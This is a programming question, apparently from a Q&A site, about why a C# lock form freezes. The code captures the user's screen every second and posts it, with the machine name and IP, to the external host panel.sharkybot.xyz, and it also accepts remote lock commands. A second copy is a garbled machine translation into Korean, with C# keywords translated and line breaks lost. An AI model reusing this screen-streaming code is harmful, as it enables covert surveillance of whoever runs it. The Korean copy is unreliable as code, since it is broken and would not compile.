Why is lockForm frozen and the text doesn't update?

using Newtonsoft.Json;
using ScreenMonitorConsole;
using System;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Net;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Text;
using System.Threading.Tasks;
using System.Web;

class Program
{
 static async Task Main(string[] args)
 {
 Task.Run(() => ListenForPOST());
 Task.Run(() => LockDevice("Chris's Phone"));

 while (true)
 {
 HttpClient client = new HttpClient();
 Bitmap memoryImage;
 memoryImage = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);

 Size s = new Size(memoryImage.Width, memoryImage.Height);
 Graphics memoryGraphics = Graphics.FromImage(memoryImage);
 memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);

 // Resize image to 720p while maintaining aspect ratio
 int newWidth = 1280;
 int newHeight = 720;
 Bitmap newImage = new Bitmap(newWidth, newHeight);
 Graphics gr = Graphics.FromImage(newImage);
 gr.DrawImage(memoryImage, 0, 0, newWidth, newHeight);

 /\*for (int x = 0; x < newWidth; x++)
 {
 for (int y = 0; y < newHeight; y++)
 {
 Color pixel = newImage.GetPixel(x, y);
 int r = pixel.R;
 int g = pixel.G;
 int b = pixel.B;
 int a = pixel.A;
 int avg = (r + g + b) / 3;
 newImage.SetPixel(x, y, Color.FromArgb(a, avg, avg, avg));
 }
 }\*/
 
 //That's it! Save the image in the directory and this will work like charm. 
 string base64Image;
 using (MemoryStream ms = new MemoryStream())
 {
 using (BinaryWriter bw = new BinaryWriter(ms))
 {
 newImage.Save(bw.BaseStream, ImageFormat.Png);
 byte[] imageBytes = ms.ToArray();
 base64Image = Convert.ToBase64String(imageBytes);
 }
 }

 string? localIp = Dns.GetHostEntry(Dns.GetHostName())
 .AddressList
 .FirstOrDefault(ip => ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
 ?.ToString();

 string serverUrl = "http://panel.sharkybot.xyz:1027/video-stream";

 // Create a JSON payload
 var payload = new
 {
 data = base64Image,
 deviceName = Environment.MachineName,
 ip = localIp
 };
 string jsonPayload = JsonConvert.SerializeObject(payload);

 // Create the HttpContent object with the JSON payload
 HttpContent content = new StringContent(jsonPayload, Encoding.UTF8, "application/json");

 // Send the POST request with the JSON payload in the body
 try
 {
 HttpResponseMessage response = await client.PostAsync(serverUrl, content);

 // Ensure the response is successful
 response.EnsureSuccessStatusCode();
 } catch (Exception ex)
 {
 Console.WriteLine(ex.ToString());
 }

 // Wait for 0.5 seconds before taking the next screenshot
 await Task.Delay(1000);
 }
 }
 private static void ListenForPOST()
 {
 HttpListener listener = new HttpListener();
 listener.Prefixes.Add("http://localhost:8080/");
 listener.Start();
 Console.WriteLine("Listening...");

 while (true)
 {
 HttpListenerContext context = listener.GetContext();
 HttpListenerRequest request = context.Request;

 if (request.HttpMethod == "POST" && request.Url.LocalPath == "/lock")
 {
 string token = request.Headers["Authorization"];

 // Verify the token matches your expectations
 if (token == "your-token-here")
 {
 string deviceName = request.Headers["DeviceName"];

 LockDevice(deviceName);
 }
 }

 HttpListenerResponse response = context.Response;
 response.Close();
 }
 }
 private static void LockDevice(string whoBy)
 {
 // open ScreenMonitorConsole.LockForm
 DeviceLocked lockForm = new DeviceLocked();
 // Change LockedBy text
 lockForm.LockedBy.Text = "Locked by " + whoBy;
 lockForm.Show();

 }
}
hy가 고정되어 텍스트가 업데이트되지 않나요?Newtonsoft.Json을 사용합니다;using ScreenMonitorConsole;using System;using System.Diagnostics;using System.Drawing;using System.Drawing.Imaging;using System.IO;using System.Net;using System.Net.Http;using System.Net.Http.Headers;using System.Text;System.Threading.Tasks를 사용합니다;System.Web을 사용합니다;Program 클래스{ 정적 비동기 태스크 메인(문자열[] args) { Task.Run(() => ListenForPOST()); Task.Run(() => LockDevice("Chris's Phone")); while (true) { HttpClient client = new HttpClient(); 비트맵 memoryImage; memoryImage = 새로운 Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); 크기 s = 새로운 크기(memoryImage.너비, memoryImage.높이); 그래픽 memoryGraphics = Graphics.FromImage(memoryImage); memoryGraphics.CopyFromScreen(0, 0, 0, 0, s); // 가로 세로 비율을 유지하면서 이미지 크기를 720p로 조정합니다. int newWidth = 1280; int newHeight = 720; 비트맵 newImage = 새로운 비트맵(newWidth, newHeight); 그래픽 gr = Graphics.FromImage(newImage); gr.DrawImage(memoryImage, 0, 0, newWidth, newHeight); /\*for (int x = 0; x < newWidth; x++) { for (int y = 0; y < newHeight; y++) { 컬러 픽셀 = newImage.GetPixel(x, y); int r = pixel.R; int g = pixel.G; int b = pixel.B; int a = pixel.A; int avg = (r + g + b) / 3; newImage.SetPixel(x, y, Color.FromArgb(a, avg, avg, avg)); } }\*/  //That's it! 이미지를 디렉토리에 저장하면 마법처럼 작동합니다.  문자열 base64Image; using (MemoryStream ms = new MemoryStream()) { using (BinaryWriter bw = new BinaryWriter(ms)) { newImage.Save(bw.BaseStream, ImageFormat.Png); byte[] imageBytes = ms.ToArray(); base64Image = Convert.ToBase64String(imageBytes); } } string? localIp = Dns.GetHostEntry(Dns.GetHostName()) .AddressList .FirstOrDefault(ip => ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) ?.ToString(); 문자열 serverUrl = "http://panel.sharkybot.xyz:1027/video-stream"; // JSON 페이로드 생성 var payload = new { 데이터 = base64Image, 장치 이름 = 환경.기계 이름, ip = localIp }; 문자열 jsonPayload = JsonConvert.SerializeObject(payload); // JSON 페이로드를 사용하여 HttpContent 객체를 생성합니다. HttpContent content = new StringContent(jsonPayload, Encoding.UTF8, "application/json"); // 본문에 JSON 페이로드를 포함한 POST 요청을 전송합니다. try { HttpResponseMessage response = await client.PostAsync(serverUrl, content); // 응답이 성공했는지 확인 response.EnsureSuccessStatusCode(); } catch (예외 ex) { Console.WriteLine(ex.ToString()); } // 다음 스크린샷을 찍기 전에 0.5초 동안 기다립니다. await Task.Delay(1000); } } 비공개 정적 void ListenForPOST() { HttpListener listener = 새로운 HttpListener(); listener.Prefixes.Add("http://localhost:8080/"); listener.Start(); Console.WriteLine("Listening..."); while (true) { HttpListenerContext context = listener.GetContext(); HttpListenerRequest request = context.Request; if (request.HttpMethod == "POST" && request.Url.LocalPath == "/lock") { 문자열 토큰 = request.Headers["Authorization"]; // 토큰이 예상과 일치하는지 확인 if (token == "your-token-here") { string deviceName = request.Headers["DeviceName"]; LockDevice(deviceName); } } HttpListenerResponse response = context.Response; response.Close(); } } 비공개 정적 void LockDevice(문자열 whoBy) { // ScreenMonitorConsole.LockForm 열기 DeviceLocked lockForm = new DeviceLocked(); // LockedBy 텍스트 변경 lockForm.LockedBy.Text = "잠긴 사람 " + whoBy; lockForm.Show(); }}